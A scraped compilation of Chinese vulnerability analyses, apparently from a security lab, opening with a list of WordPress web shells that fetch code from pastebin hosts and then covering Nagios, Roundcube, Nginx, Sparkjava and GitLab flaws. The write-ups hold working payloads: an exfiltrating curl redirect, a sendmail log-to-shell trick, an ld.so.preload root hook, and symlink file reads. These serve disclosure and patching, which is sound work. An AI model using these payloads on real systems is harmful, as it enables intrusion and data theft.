http://pastebin.com/raw/F9ffPKBM
http://pastebin.com/raw/gYyy6Jd7
http://pastebin.com/raw/fXB166iS
http://pastebin.com/raw/gLc9bi4z
http://acommeamour.fr/tmp/3jqy4.phpPHP shell 种类:
从探测到的数据分析,此次事件中出现的shell种类如下:
1234567<span class="token number">1</span>: <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">isset<span class="token punctuation">(</span></span><span class="token global">$_REQUEST</span><span class="token punctuation">[</span>xxx<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token function">eval<span class="token punctuation">(</span></span><span class="token global">$_REQUEST</span><span class="token punctuation">[</span>xxx<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>exit<span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token number">2</span>: <span class="token keyword">include</span><span class="token punctuation">(</span>‘<span class="token punctuation">;</span>http<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>pastebin<span class="token punctuation">.</span>com<span class="token operator">/</span>raw<span class="token operator">/</span>F9ffPKBM’<span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token number">3</span>: <span class="token function">file_put_contents<span class="token punctuation">(</span></span>‘<span class="token punctuation">;</span>wp<span class="token operator">-</span>content<span class="token operator">/</span>uploads<span class="token operator">/</span>info<span class="token punctuation">.</span>php’<span class="token punctuation">;</span> ”<span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token number">4</span>: <span class="token function">fwrite<span class="token punctuation">(</span></span><span class="token function">fopen<span class="token punctuation">(</span></span>‘<span class="token punctuation">;</span>wp<span class="token operator">-</span>content<span class="token operator">/</span>uploads<span class="token operator">/</span>wp<span class="token punctuation">.</span>php’<span class="token punctuation">;</span>’<span class="token punctuation">;</span>w<span class="token operator">+</span>’<span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token function">file_get_contents<span class="token punctuation">(</span></span>‘<span class="token punctuation">;</span>http<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>pastebin<span class="token punctuation">.</span>com<span class="token operator">/</span>raw<span class="token operator">/</span>ku5zcKfu’<span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token number">5</span>: <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token function">copy<span class="token punctuation">(</span></span>‘<span class="token punctuation">;</span>https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>paste<span class="token punctuation">.</span>ee<span class="token operator">/</span>r<span class="token operator">/</span>3TwsC<span class="token operator">/</span><span class="token number">0</span>’<span class="token punctuation">;</span> ‘<span class="token punctuation">;</span>db<span class="token punctuation">.</span>php’<span class="token punctuation">;</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">echo</span> ‘<span class="token punctuation">;</span>Content_loaded_please_wait<span class="token operator">!</span>’<span class="token punctuation">;</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span><span class="token keyword">echo</span> ‘<span class="token punctuation">;</span>Content_failed<span class="token punctuation">.</span>’<span class="token punctuation">;</span><span class="token punctuation">;</span><span class="token punctuation">}</span>总结:
黑客利用 pastebin.com 等网站存放 shell,目前为止这些网站已经开始陆续关闭。攻击峰潮已过,我们需要抓紧进行事后补救工作。
值得注意的是虽然本次探测到的被植入后门的网站数量并不是很多,但是修复漏洞并不代表清理了后门,所以实际被挂马的网站数量将会更多。
建议启用类似 insert-php 插件的用户在升级 WordPress之后检查网站目录,查杀木马。尤其是 wp-content/uploads/ 目录,检查网站目录下是否出现文件改动如 wp.php、 info.php、db.php 等文件并核查文件内容。
从获取到的黑客shell 内容分析,index.php 、 apis.php、wp.php、info.php、db.php、css.php、insert_php.php 这些文件需要重点检查。
对于此次事件,我们还将予以持续跟进。
六、漏洞修复方案
升级 WordPress到最新版 4.7.2 ,可以选择下载 WordPress 4.7.2 或者前往后台更新面板手动点击升级。支持后台自动升级的网站已经自动完成升级过程。
七、相关链接
- https://www.seebug.org/vuldb/ssvid-92637
- https://www.seebug.org/monster/
- https://www.exploit-db.com/exploits/41223/
- https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
- https://wordpress.org
- https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/
关于
404 Team,国内黑客文化浓厚的知名安全公司知道创宇神秘而核心的部门,最为大家熟知的分享包括:KCon 黑客大会、Seebug 漏洞平台、ZoomEye 钟馗之眼网络空间搜索引擎。
404 Team 依托 Seebug 与 ZoomEye 两大平台能力及内部的漏洞相关工业化平台能力(WSL),总能在漏洞爆发的最小黄金周期内完成全球性响应。
除了依托这些开放平台打造了全球黑客生态圈之外,404 Team 还在持续创新创造,为整个知道创宇业务需求输出精心打磨的漏洞弹药及相关安全产品。
404 Team,守正出奇,知行合一。
-
Nagios Core 代码执行漏洞(CVE-2016-9565)分析
Author: p0wd3r, dawu (知道创宇404安全实验室)
Date: 2016-12-15
0x00 漏洞概述
1.漏洞简介
Nagios 是一款监控IT基础设施的程序,近日安全研究人员 Dawid Golunski 发现在 Nagios Core 中存在一个代码执行漏洞:攻击者首先伪装成 RSS 订阅源,当受害应用获取 RSS 信息时攻击者将恶意构造的数据传给受害者,程序在处理过程中将恶意数据注入到了 curl 的命令中,进而代码执行。
2.漏洞影响
漏洞触发前提:
- 攻击者可伪装成
https://www.nagios.org
,利用 dns 欺骗等方法 - 攻击者被授权,或者攻击者诱使授权用户访问
rss-corefeed.php
、rss-newsfeed.php
和rss-corebanner.php
其中一个文件。
成功攻击可执行任意代码。
3.影响版本
Nagios Core < 4.2.2
0x01 漏洞复现
1. 环境搭建
Dockerfile:
12345FROM quantumobject/docker-nagiosRUN sed -i '99d' /usr/local/nagios/share/includes/rss/rss_fetch.incRUN mkdir /tmp/tmp && chown www-data:www-data /tmp/tmp然后运行:
1docker run -p 80:80 --name nagios -d quantumobject/docker-nagios访问
http://127.0.0.1/nagios
,用nagiosadmin:admin
登录即可2.漏洞分析
漏洞触发点在
/usr/local/nagios/share/includes/rss/extlib/Snoopy.class.inc
第657行,_httpsrequest
函数中:12345// version < 4.2.0exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);// vserion >= 4.2.0 && version < 4.2.2exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);这里使用了
escapeshellcmd
来对命令参数进行处理,escapeshellcmd
的作用如下:作者意在防止多条命令的执行,但是这样处理并没有防止注入多个参数样如果
$URI
可控,再配合curl
的一些特性便可以进行文件读写,进而代码执行。(一般来说为防止注入多个参数要使用 escapeshellarg,但该函数也不是绝对安全,详见 CVE-2015-4642。)因为之前爆出的 CVE-2008-4796,代码在4.2.0版本做了改变,但是该补丁可以被绕过,只要我们在输入中闭合前后的
"
即可。下面我们来看
$URI
是否可控。根据代码逻辑来看,_httpsrequet
被usr/local/nagios/share/includes/rss/rss_fetch.inc
中的fetch_rss
函数调用,这样我们创建这样一个测试文件test.php
:12345678<?phpdefine('MAGPIE_DIR', './includes/rss/');define('MAGPIE_CACHE_ON', 0);define('MAGPIE_CACHE_AGE', 0);define('MAGPIE_CACHE_DIR', '/tmp/magpie_cache');require_once(MAGPIE_DIR.'rss_fetch.inc');fetch_rss('https://www.baidu.com --version');访问
http://127.0.0.1/nagios/test.php
之后开启动态调试,我们在上述exec
函数处下断点,函数调用栈如下:$URI
情况如下:可知
$URI
可控,并且在传入过程中没有被过滤。接下来需要构造
curl
参数来得到我们想要的结果,这里我们使用 Dawid Golunski 提供的 Exp,需要注意的是,他提供的代码可验证4.2.0之前的版本,若验证版本大于等于4.2.0且小于4.2.2时,需对其代码进行一下更改,加上闭合所需要的双引号:12# 第44行self.redirect('https://' + self.request.host + '/nagioshack" -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '"', permanent=False)该 Exp 具体流程如下:
- 在攻击者的服务器上开启一个 http/https 服务器
- 受害者使用
fetch_rss
向该服务器发其请求 - 攻击者收到请求后对其进行重定向,重定向 url 为
https:// + 攻击者服务器 + payload
,payload 中使用-F
将文件内容发送给服务器,--trace-ascii
将流量记录到文件中(类似 Roundcube RCE 中mail
函数的-X
)。 - 服务器接收到重定向的请求后进行了以下三个操作:
- 解析文件内容
- 返回后门内容进而通过流量记录写到后门文件中
- 返回构造好的XML,在
description
中添加<img src=backdoor.php>
- 受害者解析XML并将
description
的内容输出到html中,进而自动执行后门
为了方便验证,我们在网站目录下创建一个
exp.php
:1234567<?phpdefine('MAGPIE_DIR', './includes/rss/');define('MAGPIE_CACHE_ON', 0);define('MAGPIE_CACHE_AGE', 0);define('MAGPIE_CACHE_DIR', '/tmp/magpie_cache');require_once(MAGPIE_DIR.'rss_fetch.inc');fetch_rss('http://172.17.0.3');(仅为验证漏洞,这里我们并没有解析XML)然后我们在
172.17.0.3
上运行 Exp,然后访问http://127.0.0.1/exp.php
即可得到结果:实际测试时 Exp 中的后门代码有可能在日志中会被截断从而导致命令执行不成功,建议写入简短的一句话:
真实情况下,
fetch_rss
的调用情况如下:可见我们并不能控制其参数的值,所以只能通过 dns 欺骗等手段使目标对
https://www.nagios.org
的访问指向攻击者的服务器,进而触发漏洞。3.补丁分析
4.2.2版本中删除了
includes/
以及rss-corefeed.php
、rss-newsfeed.php
和rss-corebanner.php
。0x02 修复方案
升级到4.2.2
0x03 参考
- Seebug漏洞详情
https://www.seebug.org/vuldb/ssvid-92573 - Dawid Golunski 的漏洞报告:
http://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html escapeshellcmd
的使用手册:
http://php.net/manual/zh/function.escapeshellcmd.php
- 攻击者可伪装成
-
Roundcube 1.2.2 远程命令执行漏洞 漏洞分析
Author: p0wd3r, LG (知道创宇404安全实验室) Date: 2016-12-08
0x00 漏洞概述
1.漏洞简介
著名的PHP代码审计工具 RIPS 于12月6日发布了一份针对 Roundcube的扫描报告,报告中提到了一个远程命令执行漏洞,利用该漏洞攻击者可以在授权状态下执行任意代码。官方已发布升级公告。
2.漏洞影响
触发漏洞需满足以下几个前提:
- Roundcube 使用 PHP 的 mail 来发送邮件,而不通过其他 SMTP Server
- PHP 的 mail 使用 sendmail 来发送邮件(默认)
- PHP 的 safe_mode 是关闭的(默认)
- 攻击者需要知道 Web 应用的绝对路径
- 攻击者可以登录到 Roundcube 并可以发送邮件
成功攻击后攻击者可远程执行任意代码。
3.影响版本
1.1.x < 1.1.7
1.2.x < 1.2.3
0x01 漏洞复现
1. 环境搭建
Dockerfile:
12FROM analogic/poste.ioRUN apt-get update && apt-get install -y sendmail然后执行:
123456789101112docker build -t webmail-test .mkdir /tmp/datadocker run -p 25:25 -p 127.0.0.1:8080:80 -p 443:443 -p 110:110 -p 143:143 -p 465:465 -p 587:587 -p 993:993 -p 995:995 -v /etc/localtime:/etc/localtime:ro -v /tmp/data:/data --name webmail --hostname xxx.xxx -t webmail-testdocker cp webmail:/opt/www/webmail/config/config.inc.php /tmp/config.inc.phpvim /tmp/config.inc.php将 $config['smtp_server'] 置为空docker cp /tmp/config.inc.php webmail:/opt/www/webmail/config/config.inc.php然后访问
http://127.0.0.1:8080
按步骤安装即可.2.漏洞分析
首先看
program/steps/mail/sendmail.inc
第95-114行:12345678910111213// Get sender name and address...$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);// ... from identity...if (is_numeric($from)) {...}// ... if there is no identity record, this might be a custom fromelse if ($from_string = rcmail_email_input_format($from)) {if (preg_match('/(\S+@\S+)/', $from_string, $m))$from = trim($m[1], '<>');else$from = null;}这里取
$_POST
中的_from
赋值给$from
,如果$from
不是数字就交给rcmail_email_input_format
处理,处理后如果返回非空则再过滤$from
,使其满足正常 email 的形式。我们看一下
rcmail_email_input_format
,在program/steps/mail/sendmail.inc
第839-896行:12345678910111213141516171819202122232425262728293031323334353637383940function rcmail_email_input_format($mailto, $count=false, $check=true){global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;// simplified email regexp, supporting quoted local part$email_regexp = '(\S+|("[^"]+"))@\S+';$delim = trim($RCMAIL->config->get('recipients_separator', ','));$regexp = array("/[,;$delim]\s*[\r\n]+/", '/[\r\n]+/', "/[,;$delim]\s*\$/m", '/;/', '/(\S{1})(<'.$email_regexp.'>)/U');$replace = array($delim.' ', ', ', '', $delim, '\\1 \\2');// replace new lines and strip ending ', ', make address input more valid$mailto = trim(preg_replace($regexp, $replace, $mailto));$items = rcube_utils::explode_quoted_string($delim, $mailto);$result = array();foreach ($items as $item) {$item = trim($item);// address in brackets without name (do nothing)if (preg_match('/^<'.$email_regexp.'>$/', $item)) {...}// address without brackets and without name (add brackets)else if (preg_match('/^'.$email_regexp.'$/', $item)) {...}// address with name (handle name)else if (preg_match('/<*'.$email_regexp.'>*$/', $item, $matches)) {...}else if (trim($item)) {continue;}...}...return implode(', ', $result);}foreach
中的正则仅匹配正常的from
格式,即xxx@xxx
,如果匹配不到则continue
,所以如果我们提交xxx@xxx -a -b
这样的“空格 + 数据”,函数最终并没有对其进行改变,返回的$result
也就是空了,进而执行完函数后不会再对$from
进行过滤。接下来在
program/steps/mail/sendmail.inc
第528行:1$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto, $smtp_error, $mailbody_file, $smtp_opts);$from
被传入了deliver_message
中,在program/lib/Roundcube/rcube.php
第1524-1678行:123456789101112131415161718public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null){// send thru SMTP server using custom SMTP libraryif ($this->config->get('smtp_server')) {...}// send mail using PHP's mail() functionelse {...if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))$sent = mail($to, $subject, $msg_body, $header_str);else$sent = mail($to, $subject, $msg_body, $header_str, "-f$from");}}...}可以看到当我们使用PHP的
mail
函数来发送邮件时$from
会被拼接到mail
的第五个参数中,这个参数的用处如下:意思就是PHP的
mail
默认使用/usr/sbin/sendmail
发送邮件(可在php.ini中设置),mail
的第五个参数就是设置sendmail
的额外参数。sendmail
有一个-X
参数,该参数将邮件流量记录在指定文件中:所以到这里攻击思路如下:
- 构造邮件内容为想要执行的代码
- 点击发送时抓包更改
_from
sendmail
将流量记录到 php 文件中
实际操作一下:
点击发送,截包修改:
其中将
_from
改成:example@example.com -OQueueDirectory=/tmp -X/path/rce.php
,其中-X
后的路径需根据具体服务器情况来设置,默认 Roundcube 根目录下temp/
、logs/
是可写的。然后将_subject
改成我们想要执行的代码,这里是<?php phpinfo();?>
。请求有可能会超时,但是并不影响文件的写入。
发送过后触发漏洞:
3.补丁分析
使用
escapeshellarg
让$from
被解析为参数值。0x02 修复方案
升级程序:https://roundcube.net/news/2016/11/28/updates-1.2.3-and-1.1.7-released
0x03 参考
- Roundcube 扫描报告:
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/
- PHP 的 mail 函数:
-
Nginx权限提升漏洞(CVE-2016-1247) 分析
Author:xd0ol1(知道创宇404实验室) data:2016-11-17
0x00 漏洞概述
1.漏洞简介
11月15日,国外安全研究员 Dawid Golunski 公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于 Debian 系列的发行版,Nginx 作为目前主流的一个多用途服务器,因而其危害还是比较严重的,官方对此漏洞已经进行了修复。
2.漏洞影响
Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
3.影响版本
下述版本之前均存在此漏洞:
Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.10x01 漏洞复现
1.环境搭建
测试环境:Ubuntu 14.04: Nginx1.4.6-1ubuntu3
PoC详见如下链接,给出的 nginxed-root.sh 脚本在其中的第V部分:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html2.漏洞触发
恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的 root 权限,执行 PoC 后结果如下图:
提示要等待,但我们可以通过如下命令进行触发:
1/usr/sbin/logrotate -vf /etc/logrotate.d/nginx提权后的结果如下:
3.漏洞利用分析
一般来说,如果想要修改函数的功能,最直接的就是对其源码进行更改,但很多情况下我们是无法达成此目标的,这时就可以借助一些hook操作来改变程序的流程,从而实现对函数的修改。在 Linux 系统下,我们可以通过编译一个含相同函数定义的 so 文件并借助/etc/ld.so.preload文件来完成此操作,系统的 loader 代码中会检查是否存在/etc/ld.so.preload 文件,如果存在那么就会加载其中列出的所有 so 文件,它能够实现与 LD_PRELOAD 环境变量相同的功能且限制更少,以此来调用我们定义的函数而非原函数。此方法适用于用户空间的so文件劫持,类似于 Windows 下的 DLL 劫持技术。更进一步,如果我们将此技巧与含有suid的文件结合起来,那么就可以很自然的实现提权操作了,所给的 PoC 就是利用的这个技巧。
关于 hook 操作,简单来看就是如下的一个执行流程:
在 PoC 利用中与此相关的 C 代码如下所示,如果将其编译成so文件并把路径写入到/etc/ld.so.preload文件的话,那么可以实现对 geteuid()函数的 hook,在 hook 调用中就能执行我们想要的恶意操作。
1234567891011121314151617181920212223#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>/*hook原geteuid()函数*/uid_t geteuid(void) {//定义函数指针变量static uid_t (*old_geteuid)();//返回原geteuid()函数的指针old_geteuid = dlsym(RTLD_NEXT, "geteuid");//在调用原geteuid()函数的同时执行想要的恶意操作if ( old_geteuid() == 0 ) {chown("$BACKDOORPATH", 0, 0);chmod("$BACKDOORPATH", 04777);unlink("/etc/ld.so.preload");}return old_geteuid();}我们可以将上述代码编译后来做个简单的测试,结果如下图,观察 nginxrootsh 文件前后属性的变化以及/etc/ld.so.preload文件存在与否可以判断我们的恶意操作是否执行了,很显然 hook 是成功的,和 PoC 相同这里也是通过sudo来触发hook调用。
接下来我们考虑下如何将内容写进/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx 在配置 log 文件时采用的不安全权限设置使得我们能很容易的实现此目的,从而实现 www-data 到 root 的权限提升。为了看的更清楚,我们首先将目录/var/log/nginx/下的文件全部删除,再重启下 nginx 服务,最后执行如下两条命令:
12$ curl http://localhost/ >/dev/null 2>/dev/null$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx此时得到的结果如下图所示:
可以看到 error.log 文件的属性为:
1-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log将其软链接到/etc/ld.so.preload 文件就可以了,这里为了简单测试,我们将其软链接到/etc/xxxxxxxxxx,同样需要上述那两条触发命令。从上图中我们看到了成功结果,此时 www-data 用户是可以对/etc/xxxxxxxxxx文件进行写操作的。
至此,我们将这些点结合起来就可以实现对此漏洞的利用了。
0x02 修复方案
Nginx官方已经修复,用户应尽快更新至最新版本。
详细信息:
Debian 系统
https://www.debian.org/security/2016/dsa-3701
https://security-tracker.debian.org/tracker/CVE-2016-1247
Ubuntu 系统
0x03 参考
https://www.seebug.org/vuldb/ssvid-92538
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/
http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/ -
Sparkjava Framework 文件遍历漏洞(CVE-2016-9177)分析与探究
Author:dawu(知道创宇404实验室) data:2016-11-16
0x00 漏洞概述
1.漏洞简介
Sparkjava是一款小型的web框架,它能够让你以很少的代码构建出一个java web应用。近日,某国外安全研究人员发现其存在文件遍历漏洞,可以通过该漏洞读取任意文件内容。在对这个漏洞进行复现与分析的时候,我们又发现了一些可能可以利用的地方,但是利用条件更加苛刻。
2.漏洞影响
Sparkjava版本 < 2.5.2
0x01 漏洞复现
1.验证环境
Jdk-1.8.111 Apache maven 3.3.9 在写好Sparkjava代码后,在文件所在目录打开命令行,运行mvn package进行编译打包。
2.漏洞复现
根据官网给出的示例,我们写了一个简单的函数去复现这个漏洞:
123456789public class Hello {public static void main(String[] args) {staticFiles.externalLocation(“/tmp”);get("/", (req, res) -> {return "hello from sparkjava.com";});}}pom.xml的配置为
xml <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.5</version> </dependency>
这里提供已经打包好的jar文件供大家下载。可以用如下命令运行:bash java -jar sparkexample-jar-with-dependencies.jar
我们可以通过(..\)来改变路径从而读取任意文件。如图,我们读取到/etc/passwd:在漏洞发现者的描述中,Spark.staticFileLocation()和Spark.externalStaticFileLocation()这两个函数都存在这个问题。经过开发者测试,在IDE中运行时,两个函数都可以复现这个漏洞;运行打包好的jar包时,只有Spark.externalStaticFileLocation()这个函数可以触发漏洞。
0x02 补丁分析与深入研究
1.补丁分析
很明显,在漏洞被发现时,官方没有对url中的路径做任何处理。在漏洞被修补之后,官方推出了新的版本2.5.2。这里我们对比之前的版本,并且通过调试,尝试分析官方的修补方案。 官方修补链接(https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf9) 当我们正常请求时:
bash curl "127.0.0.1:4567/l.txt"
跟到关键代码处,我们可以看到在判断文件是否存在之后,官方添加了DirectoryTraversal.protectAgainstInClassPath(resource.getPath());
进行判断。这里,path就是我们HTTP请求的地址,
addedPath
就是我们通过staticFiles.externalLocation()
函数设置的路径与path拼接之后的值,resource
中的file
的值就是addedPath
值经过路径的处理的值(例如:/tmp/test/..\l.txt
先将所有的\
换成/
,再对路径进行处理,最后结果为/tmp/l.txt
),resource.getPath()
就是addedPath
的值。在
protectAgainstInClassPath()
函数中,需要判断removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())
是否为false
,为false
就抛出。removeLeadingAndTrailingSlashesFrom(path)
为新添加的函数,作用是将path首尾的/
去掉和将尾部的\
去掉。在这里经过处理之后,path
的值为tmp/l.txt
。StaticFilesFolder.external()
则是返回external的值,在这里就是tmp。如果removeLeadingAndTrailingSlashesFrom(path)
前面的字母是tmp
,则进入下一步。综上所述,官方通过比较经过处理后的路径的开头和我们设置的externalLocation()的路径是否相同来防止我们利用
..\
读取任意文件。2.深入探究
我们修改了pom.xml,使用新的Sparkjava版本进行编译尝试,做了如下探究。
xml <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.5.2</version> </dependency>
①软链接的利用
与Sparkjava(CVE-2016-9177)同时爆出来的一个漏洞GitLab的任意文件读取(CVE-2016-9086)是利用软链接的特性,我们就顺手测试了软链接在Sparkjava下的利用。 直接读取文件:
怎么才能利用软链接呢?这里的利用条件比较苛刻。笔者想到了两种途径: 1.网站允许上传压缩包,上传后解压并且还能访问到解压后的文件才能利用 2.网站通过wget(wget配置文件中需要retr-symlinks=on)从ftp上下载文件并且能够访问到下载的文件。
②再次读取文件
再访问
读取到了tmp.txt和tmp2.txt的内容。 我们分析一下能够再次读取的原因,当我们请求为:
bash curl “127.0.0.1:4567/tmp\..\..\tmp.txt”
分析过滤代码处:addedPath
的值为/tmp/tmp/..\..\tmp.txt
,经过处理后resource中的file值为/tmp.txt
,对于下面的函数removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())
,由于tmp.txt
也是由tmp
开头,所以判断可以通过,进而读取到tmp.txt
。同样的道理,我们也可以读取到
/tmp2/test.txt
的内容。通过以上分析,笔者认为这个读取很鸡肋,首先staticFiles.externalLocation()中定义的路径只能是一级路径,其次我们要读取的文件的完整路径开头必须和staticFiles.externalLocation()中定义的路径相同。这就限制了这个新的读取,也许只有在某些特定的场合才能有奇效。
如有错误,欢迎指正:)
0x03 参考链接
1.https://www.seebug.org/vuldb/ssvid-92517 2.http://seclists.org/fulldisclosure/2016/Nov/133.https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf94.https://github.com/perwendel/spark/issues/700 5.http://sparkjava.com/documentation.html
-
GitLab 任意文件读取漏洞 (CVE-2016-9086) 和任意用户 token 泄露漏洞 分析
Author:dawu,LG(知道创宇404安全实验室) Data:2016-10-09
0x00 漏洞概述
1.漏洞简介
GitLab 是一个利用Ruby on Rails开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目。近日研究者发现在其多个版本中存在文件读取漏洞(CVE-2016-9086) 和 任意用户authentication_token泄漏漏洞,攻击者可以通过这两个漏洞来获取管理员的权限,进而控制所有gitlab项目。
2.漏洞影响
- 任意文件读取漏洞(CVE-2016-9086):
GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13 - 任意用户authentication_token泄露漏洞:
Gitlab CE/EE versions 8.10.3-8.10.5
0x01 漏洞复现
1.环境搭建
1234sudo apt-get install curl openssh-server ca-certificates postfixcurl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bashsudo apt-get install gitlab-ce=8.10.3-ce.1sudo gitlab-ctl reconfigure这里使用8.10.3版本是为了任意用户authentication_token泄露漏洞的复现。
安装完成后,访问服务器80端口即可看到GitLab登录页面。
注:8.9.0-8.13.0版本的GitLab的项目导入功能需要管理员开启,8.13.0版本之后所有用户都可以使用导入功能。管理员可以访问http://domain/admin/application_settings 开启,开启之后用任意用户新建项目的时候,可以在import project from一项中看到gitlab export。
2.漏洞分析
任意文件读取漏洞(CVE-2016-9086)
从
8.9.0
版本开始,GitLab
新增了导入导出项目的功能。
一个空的gitlab
项目导出后结构如下:其中
VERSION
文件内容为GitLab的导出模块的版本,project.json
则包含了项目的配置文件。当我们导入GitLab的导出文件的时候,GitLab会按照如下步骤处理: 1.服务器根据
VERSION
文件内容检测导出文件版本,如果版本符合,则导入。
2.服务器根据Project.json
文件创建一个新的项目,并将对应的项目文件拷贝到服务器上对应的位置。检测
VERSION
文件的代码位于:/lib/gitlab/import_export/version_checker.rb
中:1234567891011121314151617...def check!version = File.open(version_file, &:readline)verify_version!(version)rescue => eshared.error(e)falseend...def verify_version!(version)if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")elsetrueendend...我们可以看到这里的逻辑是读取
VERSION
文件的第一行赋值给变量version
,然后检测verison
与当前版本是否相同,相同返回true
,不相同则返回错误信息(错误信息中包括变量version
的值). 于是漏洞发现者Jobert Abma
巧妙的使用了软链接来达到读取任意文件的目的。首先,我们给VERSION
文件加上软链接并重新打包。12ln -sf /etc/passwd VERSIONtar zcf change_version.tar.gz ./这样,读取
VERSION
文件的时候服务器就会根据软链接读取到/etc/passwd
的第一行内容并赋值给version
。但是由于version
与当前版本不相同,所以会输出version
的值,也就是/etc/passwd
第一行的内容。访问之前搭建好的GitLab服务器,创建一个新的项目,填写完项目名称后在
Import project from
一栏中选择GitLab export
,上传我们修改后的导入包,然后就可以看到/etc/passwd
文件第一行但是,如果只读取任意文件的第一行,能做的事情还是太少了。漏洞发现者显然不满足这一结果,他继续找了下去.
读取Project.json
这一配置文件的代码位于:/lib/gitlab/import_export/project_tree_restorer.rb
中:1234567891011121314...def restorejson = IO.read(@path)tree_hash = ActiveSupport::JSON.decode(json)project_members = tree_hash.delete('project_members')ActiveRecord::Base.no_touching docreate_relationsendrescue => eshared.error(e)falseend...在这里,我们可以再次使用软链接使变量
json
获取到任意文件的内容,但是由于获取的文件不是json
格式,无法decode
,导致异常抛出,最终在前端显示出任意文件的内容。 添加软链接并打包:12ln -sf /etc/passwd project.jsontar zcf change_version.tar.gz ./上传导出包,页面上显示的结果:
任意用户authentication_token泄露漏洞
复现步骤为:
1.注册一个普通用户,创建一个新的项目
2.在项目的member
选项中,添加管理员到项目中。3.点击
edit project
,找到Export project
部分,点击Export project
,等待几分钟去查看注册邮箱收到的下载地址或者刷新页面,点击Download export
下载导出包。4.导出包的
project.json
中已经含有了管理员的authentication_token
。得到
authentication_token
之后我们就可以通过api
做管理员可以做的事情了,比如查看管理员所在的项目:分析原因:
我们在
\app\controllers\projects_controller.rb
中找到了export
函数,这个函数被用来导出项目文件。12345678def export@project.add_export_job(current_user: current_user)redirect_to(edit_project_path(@project),notice: "Project export started. A download link will be sent by email.")end往下跟
add_export_job()
,在\app\models\project.rb
中:123456789def add_export_job(current_user:)job_id = ProjectExportWorker.perform_async(current_user.id, self.id)if job_idRails.logger.info "Export job started for project ID #{self.id} with job ID #{job_id}"elseRails.logger.error "Export job failed to start for project ID #{self.id}"endend继续到
\app\workers\project_export_worker.rb
文件的ProjectExportWorker.perform_async()
:123456789101112class ProjectExportWorkerinclude Sidekiq::Workersidekiq_options queue: :gitlab_shell, retry: 3def perform(current_user_id, project_id)current_user = User.find(current_user_id)project = Project.find(project_id)::Projects::ImportExport::ExportService.new(project, current_user).executeendend这里我们可以看到
current
获取的是User.find(current_user_id)
的内容,然后调用::Projects::ImportExport::ExportService.new(project, current_user).execute
由于笔者之前没有接触过ruby,这里只好采用gitlab-rails console
来找到User.find()
的值。可以看到,在User.find()
中,存在authentication_token
的值。跟到
\app\services\project\import_export\export_service.rb
,这里执行version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver
这五个函数来写各种导出文件,其中project_tree_saver()
负责导出project.json
